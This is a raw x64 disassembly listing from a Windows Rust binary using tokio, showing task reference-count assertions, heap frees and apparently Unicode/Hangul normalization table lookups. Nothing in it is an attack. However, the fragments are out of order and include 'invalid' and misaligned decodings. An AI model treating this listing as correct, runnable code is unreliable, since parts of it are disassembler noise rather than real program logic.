mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, str.____
mov r8d, 1
call qword [rax + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x14003411c
jmp 0x140034079
lea edx, [0x140147bc4]
mov r8d, 7
add rsp, 0x40
pop rsi
jmp rax
inc rcx
mov qword [rsp + 0x38], rcx
mov rcx, qword [rdx + 0x20]
mov r9, qword [rdx + 0x28]
lea rax, [0x14015f349]
mov r8d, 4
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x28], rsi
mov byte [rsp + 0x30], al
mov qword [rsp + 0x20], 0
mov byte [rsp + 0x31], 0
lea r8, [0x140034130]
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x38]
call fcn.14000c0c0
mov rcx, qword [rsp + 0x20]
movzx edx, byte [rsp + 0x30]
test rcx, rcx
je 0x14003411a
mov al, 1
test dl, 1
jne 0x14003411c
cmp rcx, 1
je 0x140033f04
mov rsi, qword [rsp + 0x28]
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x14016a0bd]
mov r8d, 1
call qword [rax + 0x18]
jmp 0x14003411c
mov eax, edx
and al, 1
add rsp, 0x40
pop rsi
ret
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
jmp 0x140031c50
adc eax, dword cs:[rax]
mov edx, 0x24
call fcn.140122660
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401681b0]
mov edx, 0x26
call fcn.140122660
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
and al, 0x28
and al, 0x28
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.1401224d0
lea rcx, str._internal_exception__blocking_task_ran_twice.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_blocking_task.rs
lea r8, [0x14016a228]
mov edx, 0x2d
call fcn.140122a20
mov ecx, 4
mov edx, 0x20
call fcn.140122190
int3
and eax, 0xfa0df
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
invalid
add ah, cl
invalid
mov rcx, rax
xor edx, edx
sal dword [rcx], 0xd2
test cl, 3
sete dl
or rdx, rax
or rdx, 0x20
lock cmpxchg qword [rsi], rdx
jne 0x140035390
test cl, 3
je 0x14003541b
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
push rax
xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x1400354a6
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14003546b
mov rcx, qword [rsi + 0x28]
add rcx, 0xfffffffffffffffe
cmp rcx, 3
mov eax, 1
cmovb rax, rcx
cmp rax, 1
je 0x140035473
test rax, rax
jne 0x14003547c
mov r8, qword [rsi + 0x30]
test r8, r8
je 0x14003547c
cmp qword [rsi + 0x38], 0
je 0x14003547c
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14003547c
lea rdi, [rsi + 0x20]
mov qword [rsp + 0x20], 4
lea rdx, [rsp + 0x20]
mov rcx, rdi
call fcn.1400354c0
mov rax, qword [rsi + 0x20]
mov qword [rsp + 0x20], 1
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x20]
mov rcx, rdi
call fcn.1400354c0
mov rcx, rsi
add rsp, 0x48
pop rdi
pop rsi
jmp 0x140031c50
nop
add rsp, 0x48
pop rdi
pop rsi
ret
lea rcx, [rsi + 0x28]
call fcn.140031b80
mov rax, qword [rsi + 0x60]
test rax, rax
je 0x14003548c
mov rcx, qword [rsi + 0x68]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x48
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
mov rdx, qword [0x58]
mov r14, qword [rdx + rax*8]
xor al, 0xc2
lea rax, [r14 + 0xd8]
lea rdx, [0x140100f70]
adc eax, 0xcba53
adc eax, 0xcba53
mov rbx, rcx
mov rcx, rax
call fcn.1400ed020
mov rcx, rbx
mov byte [r14 + 0x128], 1
mov eax, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rdi, [rcx + 8]
mov rdx, qword [rcx + 8]
add rdx, 0xfffffffffffffffe
cmp rdx, 3
mov eax, 1
cmovb rax, rdx
cmp rax, 1
je 0x1400355a4
test rax, rax
jne 0x1400355ac
mov r8, qword [rcx + 0x10]
test r8, r8
je 0x1400355ac
cmp qword [rcx + 0x18], 0
je 0x1400355ac
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400355ac
mov rcx, rdi
call fcn.140031b80
mov rax, qword [rsi + 0x20]
mov qword [rdi + 0x20], rax
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14003562d
cmp eax, 1
je 0x140035613
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rsi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
ror byte [rdi], 0x84
mov al, 1
add byte [rax], al
mov r14, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r15
mov qword [rax + 0x20], r12
mov qword [rax + 0x28], r12
mov qword [rax + 0x30], 0
movabs rax, 0x8000000000000000
mov qword [r14 + 0x38], rax
mov qword [r14 + 0x40], 1
add byte [rax], al
add byte [rax], al
mov qword [r14 + 0x48], 0
mov qword [r14 + 0x58], 0
lock inc qword [r14]
invalid
jle 0x1400359f4
invalid
movzx eax, byte [0x14019f308]
mov edx, 0x30
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400359e5
mov qword [rax], 1
mov qword [rax + 8], 1
mov word [rax + 0x10], 0
mov qword [rax + 0x18], 0
mov byte [rax + 0x28], 0
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], rax
mov byte [rsi + 0x20], 0
movzx eax, byte [0x14019f308]
mov edx, 0xb0
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140035a14
mov r15, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], 3
mov byte [rax + 0x70], 0
mov qword [rax + 0x78], 0
mov byte [rax + 0x88], 0
mov qword [rax + 0x90], 0
add byte [rax], al
add byte [rax], al
mov byte [rax + 0xa0], 0
mov byte [rax + 0xa8], 0
lock inc qword [rax]
jle 0x1400359f4
movzx eax, byte [0x14019f308]
mov edx, 0x30
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x1400359e5
cdq
invalid
movzx ecx, bl
mov edx, 2
sub rdx, rcx
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], 0
add byte [rax], al
add byte [rax], al
mov qword [rax + 0x28], 0
lock inc qword [rax]
jle 0x1400359f4
mov qword [rsi], r15
mov qword [rsi + 8], rax
mov qword [rsi + 0x28], 1
mov qword [rsi + 0x30], rdi
mov qword [rsi + 0x38], r14
mov qword [rsi + 0x40], rax
mov qword [rsi + 0x48], r15
mov qword [rsi + 0x50], 0
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov ecx, 8
mov edx, 0x30
call fcn.140122190
ud2
mov ecx, 8
mov edx, 0xb0
call fcn.140122190
int3
add byte [rbx + 0x97401f8], al
cmp eax, 2
jne 0x140035e19
mov ecx, dword [rsp + 0x2c]
test ecx, 0xfffffff7
jne 0x140035e19
mov qword [rsi], 0
cmp al, 1
jne 0x140035f60
lea rcx, [rsp + 0x48]
mov rax, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov r8, rbx
call qword [rax + 0x10]
jmp 0x140035f60
add byte [rax], al
add cl, ch
jle 0x140035ce2
add byte [rax], al
xor ecx, ecx
mov qword [rsi], rcx
mov qword [rsi + 8], rax
movdqa xmm0, xmmword [rsp + 0x50]
movdqu xmmword [rsi + 0x10], xmm0
mov rax, qword [rsp + 0x60]
and al, 0x60
and al, 0x60
mov qword [rsi + 0x20], rax
jmp 0x140035f60
je 0x140035f22
cmp eax, 1
jne 0x140035ec3
lea rcx, [rsp + 0x70]
mov rax, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x68]
call qword [rax + 0x10]
jmp 0x140035f22
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x70], rax
movups xmm0, xmmword [rsp + 0x28]
movups xmm1, xmmword [rsp + 0x38]
movaps xmmword [rsp + 0x60], xmm1
movaps xmmword [rsp + 0x50], xmm0
movzx eax, byte [0x14019f308]
mov edx, 0x38
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140035f7f
mov rdi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 8
movzx eax, byte [0x14019f308]
mov edx, 0x28
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140035f9a
mov rcx, qword [rsp + 0x70]
mov qword [rax + 0x20], rcx
movdqa xmm0, xmmword [rsp + 0x50]
movaps xmm1, xmmword [rsp + 0x60]
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov qword [rdi], rax
lea rax, [0x140147d58]
mov qword [rdi + 8], rax
mov qword [rsi], 1
mov qword [rsi + 8], 0
mov qword [rsi + 0x10], rdi
jmp 0x140035f60
mov r14, qword [rsp + 0x58]
mov eax, r14d
and eax, 3
cmp eax, 1
jne 0x140035f22
mov r15, qword [r14 - 1]
mov r13, qword [r14 + 7]
mov rax, qword [r13]
test rax, rax
je 0x140035ee9
mov rcx, r15
call rax
dec r14
cmp qword [r13 + 8], 0
je 0x140035f10
cmp qword [r13 + 0x10], 0x11
jb 0x140035efe
mov r15, qword [r15 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea r14, [rsp + 0x88]
mov rax, qword [rdi + 0x10]
cmp rax, 0xfffffffffffffffd
ja 0x140035f3b
sub rax, rbx
mov qword [rdi + 0x10], rax
mov rcx, qword [rdi + 8]
mov rdx, rbx
call fcn.1400323f0
movdqu xmm0, xmmword [r14]
movdqu xmmword [rsi + 8], xmm0
mov qword [rsi], 1
mov qword [rsi + 0x18], rbx
mov qword [rsi + 0x20], r12
add rsp, 0xb0
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, 8
mov edx, 0x38
call fcn.140122190
lea rcx, [0x140131b68]
call fcn.140122a00
mov ecx, 8
mov edx, 0x28
call fcn.140122190
int3
mov rax, qword [r15 + 8]
mov byte [rax + rsi], bl
inc rsi
mov qword [r15 + 0x10], rsi
mov rax, qword [rsp + 0x38]
cmp rax, 2
je 0x140036fb0
cmp rax, 1
jne 0x14003710e
mov rax, qword [rsp + 0x40]
test byte [rsp + 0xb8], 1
je 0x140036fd8
cmp rax, qword [rsp + 0xd0]
jae 0x140037069
mov rdx, qword [rsp + 0xc8]
jmp 0x140036ffb
mov rdx, qword [rsp + 0x40]
mov eax, dword [rsp + 0xb8]
test eax, eax
je 0x140037020
cmp rdx, qword [rsp + 0xd0]
jae 0x140037077
mov r8, qword [rsp + 0xc8]
jmp 0x140037043
movzx ecx, word [rsp + 0xbc]
cmp rcx, 4
ja 0x14003a221
lea rdx, [rsp + 0xc0]
cmp rax, rcx
jae 0x140037088
mov ebx, dword [rdx + rax*4]
inc rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], rax
cmp ebx, 0x80
jb 0x14003841c
jmp 0x14003828f
movzx ecx, word [rsp + 0xbc]
cmp rcx, 5
jae 0x14003a221
lea r8, [rsp + 0xc0]
cmp rdx, rcx
jae 0x1400383da
mov ebx, dword [r8 + rdx*4]
inc rdx
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x40], rdx
cmp ebx, 0x80
jb 0x14003841c
jmp 0x14003828f
mov qword [rsp + 0xd0], 0
jmp 0x140037097
mov qword [rsp + 0xd0], 0
jmp 0x1400383e9
test cx, cx
je 0x140037097
mov word [rsp + 0xbc], 0
mov qword [rsp + 0x38], 0
jmp 0x14003710e
movzx esi, bx
imul r15d, esi, 0x6f75
shr r15d, 0x18
lea edx, [r15 + 0x1100]
mov rcx, r13
call fcn.14003cf90
imul eax, r15d, 0x24c
sub ebx, eax
movzx eax, bx
imul edx, eax, 0x925
shr edx, 0x10
add edx, 0x1161
mov rcx, r13
call fcn.14003cf90
mov eax, esi
shr eax, 2
imul eax, eax, 0x4925
shr eax, 0x11
lea ecx, [rax + rax*8]
lea ecx, [rcx + rcx*2]
add ecx, eax
sub si, cx
je 0x14003710e
add esi, 0x11a7
movzx edx, si
mov rcx, r13
call fcn.14003cf90
mov r9, qword [rsp + 0xa8]
test r9, r9
jne 0x140037440
movzx r11d, byte [rsp + 0x98]
cmp r11b, 2
je 0x140037562
mov r8, qword [rsp + 0x88]
mov r15, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
mov r10, qword [rsp + 0x80]
movzx ebx, byte [rsp + 0x99]
mov r12, qword [rsp + 0x90]
nop dword [rax]
test r8, r8
je 0x14003717a
cmp r8, r12
jne 0x140037812
mov qword [rsp + 0x88], 0
cmp r15, rsi
je 0x14003755a
lea rax, [r15 + 1]
mov qword [rsp + 0x70], rax
movzx ecx, byte [r15]
movzx edx, cl
test dl, dl
js 0x1400371b0
mov r15, rax
lea eax, [rdx - 0x2d]
cmp eax, 2
jae 0x140037250
jmp case.0x140037391.0
mov eax, edx
and eax, 0x1f
lea r9, [r15 + 2]
mov qword [rsp + 0x70], r9
movzx r8d, byte [r15 + 1]
and r8d, 0x3f
cmp dl, 0xdf
jbe 0x14003721d
lea r9, [r15 + 3]
mov qword [rsp + 0x70], r9
movzx edx, byte [r15 + 2]
shl r8d, 6
and edx, 0x3f
or edx, r8d
cmp cl, 0xf0
jb 0x140037235
lea rcx, [r15 + 4]
mov qword [rsp + 0x70], rcx
movzx r8d, byte [r15 + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and r8d, 0x3f
or r8d, edx
or r8d, eax
mov r15, rcx
mov edx, r8d
lea eax, [rdx - 0x2d]
cmp eax, 2
jae 0x140037250
jmp case.0x140037391.0
shl eax, 6
or eax, r8d
mov r15, r9
mov edx, eax
lea eax, [rdx - 0x2d]
cmp eax, 2
jae 0x140037250
jmp case.0x140037391.0
shl eax, 0xc
or edx, eax
mov r15, r9
lea eax, [rdx - 0x2d]
cmp eax, 2
jb case.0x140037391.0
nop dword [rax]
lea eax, [rdx - 0x61]
cmp eax, 0x1a
jb case.0x140037391.0
lea eax, [rdx - 0x30]
cmp eax, 0xa
jb case.0x140037391.0
cmp edx, 0xa9de
mov eax, 0x3ad
cmovb rax, rbp
cmp dword [rdi + rax*8 + 0xeb0], edx
lea rcx, [rax + 0x1d6]
cmova rcx, rax
cmp dword [rdi + rcx*8 + 0x758], edx
lea rax, [rcx + 0xeb]
cmova rax, rcx
cmp dword [rdi + rax*8 + 0x3b0], edx
lea rcx, [rax + 0x76]
cmova rcx, rax
cmp dword [rdi + rcx*8 + 0x1d8], edx
lea rax, [rcx + 0x3b]
cmova rax, rcx
cmp dword [rdi + rax*8 + 0xe8], edx
lea rcx, [rax + 0x1d]
cmova rcx, rax
cmp dword [rdi + rcx*8 + 0x78], edx
lea rax, [rcx + 0xf]
cmova rax, rcx
cmp dword [rdi + rax*8 + 0x38], edx
lea rcx, [rax + 7]
cmova rcx, rax
cmp dword [rdi + rcx*8 + 0x20], edx
lea rax, [rcx + 4]
cmova rax, rcx
cmp dword [rdi + rax*8 + 0x10], edx
lea rcx, [rax + 2]
cmova rcx, rax
cmp dword [rdi + rcx*8 + 8], edx
lea rax, [rcx + 1]
cmova rax, rcx
xor ecx, ecx
cmp dword [rdi + rax*8], edx
setne cl
adc rax, 0
sub rax, rcx
cmp rax, 0x759
ja 0x14003a0f8
movzx r9d, word [rdi + rax*8 + 4]
mov ecx, r9d
and ecx, 0x7fff
movzx r8d, cx
test r9w, r9w
js 0x140037360
movzx eax, word [rdi + rax*8]
mov ecx, edx
sub cx, ax
add ecx, r8d
movzx ecx, cx
cmp ecx, 0x1f73
jb 0x14003736d
jmp 0x14003a127
cmp r8d, 0x1f73
jae 0x14003a14c
movzx eax, byte [r14 + rcx*4]
mov r8d, 0
cmp eax, 1
je case.default.0x140037391
mov eax, eax
lea r8, [0x140193668]
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
mov edx, dword [rsp + 0x48]
lea r10, [rsp + 0x50]
mov rcx, qword [rsp + 0xa0]
test dl, 1
je 0x140037470
mov r8, qword [rsp + 0x58]
mov rax, qword [rsp + 0x60]
jmp 0x140037482
movzx eax, word [rsp + 0x4c]
cmp rax, 5
jae 0x14003a189
mov r8, r10
cmp rcx, rax
jae 0x14003a15d
mov r12d, dword [r8 + rcx*8 + 4]
inc rcx
cmp rcx, r9
jne 0x140037550
test dl, 1
je 0x140037585
mov r8, qword [rsp + 0x60]
sub r8, r9
je 0x140037594
xor ecx, ecx
jmp 0x1400374e3
movzx edx, byte [r9 + rax*8]
mov eax, dword [r9 + rax*8 + 4]
mov byte [r9 + rcx*8], dl
mov dword [r9 + rcx*8 + 4], eax
lea rax, [rcx + 1]
mov rcx, rax
cmp r8, rax
je 0x1400375a7
mov rax, qword [rsp + 0xa8]
add rax, rcx
test byte [rsp + 0x48], 1
je 0x140037520
mov rdx, qword [rsp + 0x60]
cmp rax, rdx
jae 0x14003a118
mov r9, qword [rsp + 0x58]
cmp rcx, rdx
jb 0x1400374c0
jmp 0x14003a10c
movzx edx, word [rsp + 0x4c]
cmp rdx, 5
jae 0x14003a138
cmp rax, rdx
jae 0x14003a118
mov r9, r10
cmp rcx, rdx
jb 0x1400374c0
jmp 0x14003a10c
mov qword [rsp + 0xa0], rcx
jmp 0x1400375c5
mov byte [rsp + 0x98], 2
test byte [rsp + 0x48], 1
je 0x1400378f2
mov rax, qword [rsp + 0x60]
test rax, rax
je 0x14003830b
mov r8, qword [rsp + 0x58]
jmp 0x14003790f
movzx r8d, word [rsp + 0x4c]
sub r8, r9
jne 0x1400374b3
test dl, 1
je 0x1400375b0
cmp qword [rsp + 0x60], r8
jb 0x1400375c0
mov qword [rsp + 0x60], r8
jmp 0x1400375c0
mov edx, dword [rsp + 0x48]
test dl, 1
jne 0x140037599
movzx eax, word [rsp + 0x4c]
cmp r8, rax
jae 0x1400375c0
mov word [rsp + 0x4c], r8w
movups xmmword [r13 + 0x58], xmm6
imul eax, r12d, 0x9e3779b9
imul ecx, r12d, 0x31415926
xor eax, ecx
imul rax, rax, 0x39a
shr rax, 0x20
lea rdx, [0x14016f288]
movzx eax, word [rdx + rax*2]
add eax, r12d
imul eax, eax, 0x9e3779b9
xor eax, ecx
imul rax, rax, 0x39a
shr rax, 0x20
lea rcx, [0x14016f9bc]
mov esi, dword [rcx + rax*4]
mov eax, esi
shr eax, 8
cmp eax, r12d
cmovne esi, ebp
mov ebx, dword [rsp + 0xd8]
cmp ebx, 0x110000
jne 0x140037640
test sil, sil
jne 0x140038280
mov dword [rsp + 0xd8], r12d
jmp 0x14003710e
cmp byte [rsp + 0xdc], 0
je 0x14003769b
cmp byte [rsp + 0xdd], sil
jae 0x1400379b1
lea eax, [rbx - 0x1100]
cmp eax, 0x13
jae 0x140037c2c
lea eax, [r12 - 0x1161]
cmp eax, 0x15
jae 0x140037c79
imul eax, ebx, 0x24c
lea ecx, [r12 + r12*8]
lea ecx, [rcx + rcx*2]
add ecx, r12d
add eax, ecx
add eax, 0xffd7b964
mov dword [rsp + 0xd8], eax
jmp 0x14003710e
lea eax, [rbx - 0x1100]
cmp eax, 0x13
jae 0x1400379bf
lea eax, [r12 - 0x1161]
cmp eax, 0x15
jae 0x140037a0c
imul eax, ebx, 0x24c
lea ecx, [r12 + r12*8]
lea ecx, [rcx + rcx*2]
add ecx, r12d
add eax, ecx
add eax, 0xffd7b964
mov dword [rsp + 0xd8], eax
jmp 0x14003710e
cmp edx, 0x80
jb 0x140037106
lea ebx, [rdx - 0xac00]
cmp ebx, 0x2ba4
jb 0x1400370a2
imul eax, edx, 0x9e3779b9
imul ecx, edx, 0x31415926
xor eax, ecx
imul rax, rax, 0x80d
shr rax, 0x20
lea r8, [0x140172c64]
movzx eax, word [r8 + rax*2]
add eax, edx
imul eax, eax, 0x9e3779b9
xor eax, ecx
imul rax, rax, 0x80d
shr rax, 0x20
lea rcx, [0x140173c80]
mov rbx, qword [rcx + rax*8]
cmp edx, ebx
jne 0x140037106
mov rax, rbx
shr rax, 0x20
movzx ecx, ax
movzx eax, ax
cmp eax, 0xd4e
ja 0x14003a1cf
shr rbx, 0x30
mov edx, 0xd4e
sub rdx, rcx
cmp rdx, rbx
jb 0x14003a1c0
test rbx, rbx
je 0x14003710e
lea rax, [0x140177ce8]
lea rsi, [rax + rcx*4]
shl ebx, 2
xor r15d, r15d
nop word cs:[rax + rax]
mov edx, dword [rsi + r15]
mov rcx, r13
call fcn.14003cf90
add r15, 4
cmp rbx, r15
jne 0x1400377c0
jmp 0x14003710e
lea rax, [r8 + 1]
mov qword [rsp + 0x88], rax
movzx ecx, byte [r8]
movzx edx, cl
test dl, dl
js 0x140037b5c
nop dword [rax]
cmp byte [rsp + 0xb0], 0
je 0x140037700
cmp edx, 0x80
jb 0x140037106
lea ebx, [rdx - 0xac00]
cmp ebx, 0x2ba4
jb 0x1400370a2
imul ecx, edx, 0x9e3779b9
imul eax, edx, 0x31415926
xor ecx, eax
imul r8, rcx, 0xee4
shr r8, 0x20
lea r9, [0x14017b2c0]
movzx r8d, word [r9 + r8*2]
add r8d, edx
imul r8d, r8d, 0x9e3779b9
xor r8d, eax
imul r8, r8, 0xee4
shr r8, 0x20
lea r9, [0x14017d088]
mov rbx, qword [r9 + r8*8]
cmp edx, ebx
jne 0x140037a85
mov rax, rbx
shr rax, 0x20
movzx ecx, ax
movzx eax, ax
cmp eax, 0x1667
ja 0x14003a1ef
shr rbx, 0x30
mov edx, 0x1667
sub rdx, rcx
cmp rdx, rbx
jb 0x14003a1e0
lea rax, [0x1401847a8]
lea rsi, [rax + rcx*4]
test rbx, rbx
jne 0x140037b05
jmp 0x14003710e
movzx eax, word [rsp + 0x4c]
test rax, rax
lea r8, [rsp + 0x50]
je 0x14003830b
cmp ax, 5
jae 0x14003a1ac
mov rcx, qword [rsp + 0xa8]
mov rdx, rax
sub rdx, rcx
jb 0x14003a19d
cmp rdx, 2
jb 0x140037b2f
lea rcx, [r8 + rcx*8]
cmp rdx, 0x15
jae 0x140037b2a
lea rax, [r8 + rax*8]
lea rdx, [rcx + 8]
xor r8d, r8d
jmp 0x14003796e
nop dword [rax + rax]
mov rsi, rcx
shl r10, 0x20
or r10, r9
mov qword [rsi], r10
add rdx, 8
add r8, 0xfffffffffffffff8
cmp rdx, rax
je 0x140037b2f
movzx r11d, byte [rdx]
cmp r11b, byte [rdx - 8]
jae 0x14003795d
movzx r9d, r11b
mov r10d, dword [rdx + 4]
xor ebx, ebx
nop word cs:[rax + rax]
mov rsi, qword [rdx + rbx - 8]
mov qword [rdx + rbx], rsi
cmp r8, rbx
je 0x140037950
lea rsi, [rbx - 8]
cmp r11b, byte [rdx + rbx - 0x10]
mov rbx, rsi
jb 0x140037990
add rsi, rdx
jmp 0x140037953
test sil, sil
jne 0x140037f96
jmp 0x14003843e
lea eax, [rbx - 0xac00]
cmp eax, 0x2ba3
ja 0x140037a0c
lea ecx, [r12 - 0x11a8]
cmp ecx, 0x1a
ja 0x140037a0c
movzx ecx, ax
shr ecx, 2
imul ecx, ecx, 0x4925
shr ecx, 0x11
lea edx, [rcx + rcx*8]
lea edx, [rdx + rdx*2]
add edx, ecx
sub eax, edx
test ax, ax
jne 0x140037a0c
lea eax, [rbx + r12]
add eax, 0xffffee59
mov dword [rsp + 0xd8], eax
jmp 0x14003710e
mov eax, r12d
or eax, ebx
cmp eax, 0x10000
jae 0x140037bd9
mov ecx, ebx
shl ecx, 0x10
or ecx, r12d
imul eax, ecx, 0x9e3779b9
imul edx, ecx, 0x31415926
xor eax, edx
imul rax, rax, 0x3a0
shr rax, 0x20
lea r8, [0x140170824]
movzx eax, word [r8 + rax*2]
add eax, ecx
imul eax, eax, 0x9e3779b9
xor eax, edx
imul rax, rax, 0x3a0
shr rax, 0x20
lea rdx, [0x140170f64]
cmp dword [rdx + rax*8], ecx
jne 0x140037f8d
lea rcx, [0x140170f64]
mov eax, dword [rcx + rax*8 + 4]
mov dword [rsp + 0xd8], eax
jmp 0x14003710e
imul rcx, rcx, 0x80d
shr rcx, 0x20
lea r8, [0x140172c64]
movzx ecx, word [r8 + rcx*2]
add ecx, edx
imul ecx, ecx, 0x9e3779b9
xor ecx, eax
imul rax, rcx, 0x80d
shr rax, 0x20
lea rcx, [0x140173c80]
mov rbx, qword [rcx + rax*8]
cmp edx, ebx
jne 0x140037106
mov rax, rbx
shr rax, 0x20
movzx ecx, ax
movzx eax, ax
cmp eax, 0xd4e
ja 0x14003a1cf
shr rbx, 0x30
mov edx, 0xd4e
sub rdx, rcx
cmp rdx, rbx
jb 0x14003a1c0
lea rax, [0x140177ce8]
lea rsi, [rax + rcx*4]
test rbx, rbx
je 0x14003710e
shl ebx, 2
xor r15d, r15d
nop dword [rax + rax]
add byte [rdx - 0x75], al
adc al, 0x3e
mov edx, dword [rsi + r15]
mov rcx, r13
call fcn.14003cf90
add r15, 4
cmp rbx, r15
jne 0x140037b10
invalid
jmp 0x140037b0f
jmp 0x14003710e
call fcn.14003e200
mov edx, dword [rsp + 0x48]
test edx, edx
je 0x140037b49
mov r9, qword [rsp + 0x60]
mov qword [rsp + 0xa8], r9
jmp 0x140037444
movzx r9d, word [rsp + 0x4c]
mov qword [rsp + 0xa8], r9
jmp 0x140037444
mov eax, edx
and eax, 0x1f
lea r9, [r8 + 2]
mov qword [rsp + 0x88], r9
movzx r9d, byte [r8 + 1]
and r9d, 0x3f
cmp dl, 0xdf
jbe 0x140037cef
lea rdx, [r8 + 3]
mov qword [rsp + 0x88], rdx
movzx edx, byte [r8 + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp cl, 0xf0
jb 0x140037da0
lea rcx, [r8 + 4]
mov qword [rsp + 0x88], rcx
movzx ecx, byte [r8 + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or ecx, eax
mov edx, ecx
cmp byte [rsp + 0xb0], 0
jne 0x14003783e
jmp 0x140037700
cmp ebx, 0x11346
jg 0x140037d0a
cmp ebx, 0x110a4
jle 0x140037dff
cmp ebx, 0x110a5
je 0x140037f3f
cmp ebx, 0x11131
je 0x140037f67
cmp ebx, 0x11132
jne 0x140037f8d
mov eax, 0x1112f
cmp r12d, 0x11127
je 0x1400376d2
jmp 0x140037f8d
lea eax, [rbx - 0xac00]
cmp eax, 0x2ba3
ja 0x140037c79
lea ecx, [r12 - 0x11a8]
cmp ecx, 0x1a
ja 0x140037c79
movzx ecx, ax
shr ecx, 2
imul ecx, ecx, 0x4925
shr ecx, 0x11
lea edx, [rcx + rcx*8]
lea edx, [rdx + rdx*2]
add edx, ecx
sub eax, edx
test ax, ax
jne 0x140037c79
lea eax, [rbx + r12]
add eax, 0xffffee59
mov dword [rsp + 0xd8], eax
jmp 0x14003710e
mov eax, r12d
or eax, ebx
cmp eax, 0x10000
jae 0x140037d51
shl ebx, 0x10
or ebx, r12d
imul eax, ebx, 0x9e3779b9
imul ecx, ebx, 0x31415926
xor eax, ecx
imul rax, rax, 0x3a0
shr rax, 0x20
lea rdx, [0x140170824]
movzx eax, word [rdx + rax*2]
add eax, ebx
imul eax, eax, 0x9e3779b9
xor eax, ecx
imul rax, rax, 0x3a0
shr rax, 0x20
lea rcx, [0x140170f64]
cmp dword [rcx + rax*8], ebx
jne 0x140037f96
lea rcx, [0x140170f64]
mov eax, dword [rcx + rax*8 + 4]
mov dword [rsp + 0xd8], eax
jmp 0x14003710e
shl eax, 6
or eax, r9d
mov edx, eax
cmp byte [rsp + 0xb0], 0
je 0x140037700
jmp 0x14003783e
cmp ebx, 0x115b7
jle 0x140037e2e
cmp ebx, 0x115b8
je 0x140037f53
cmp ebx, 0x115b9
je 0x140037f7b
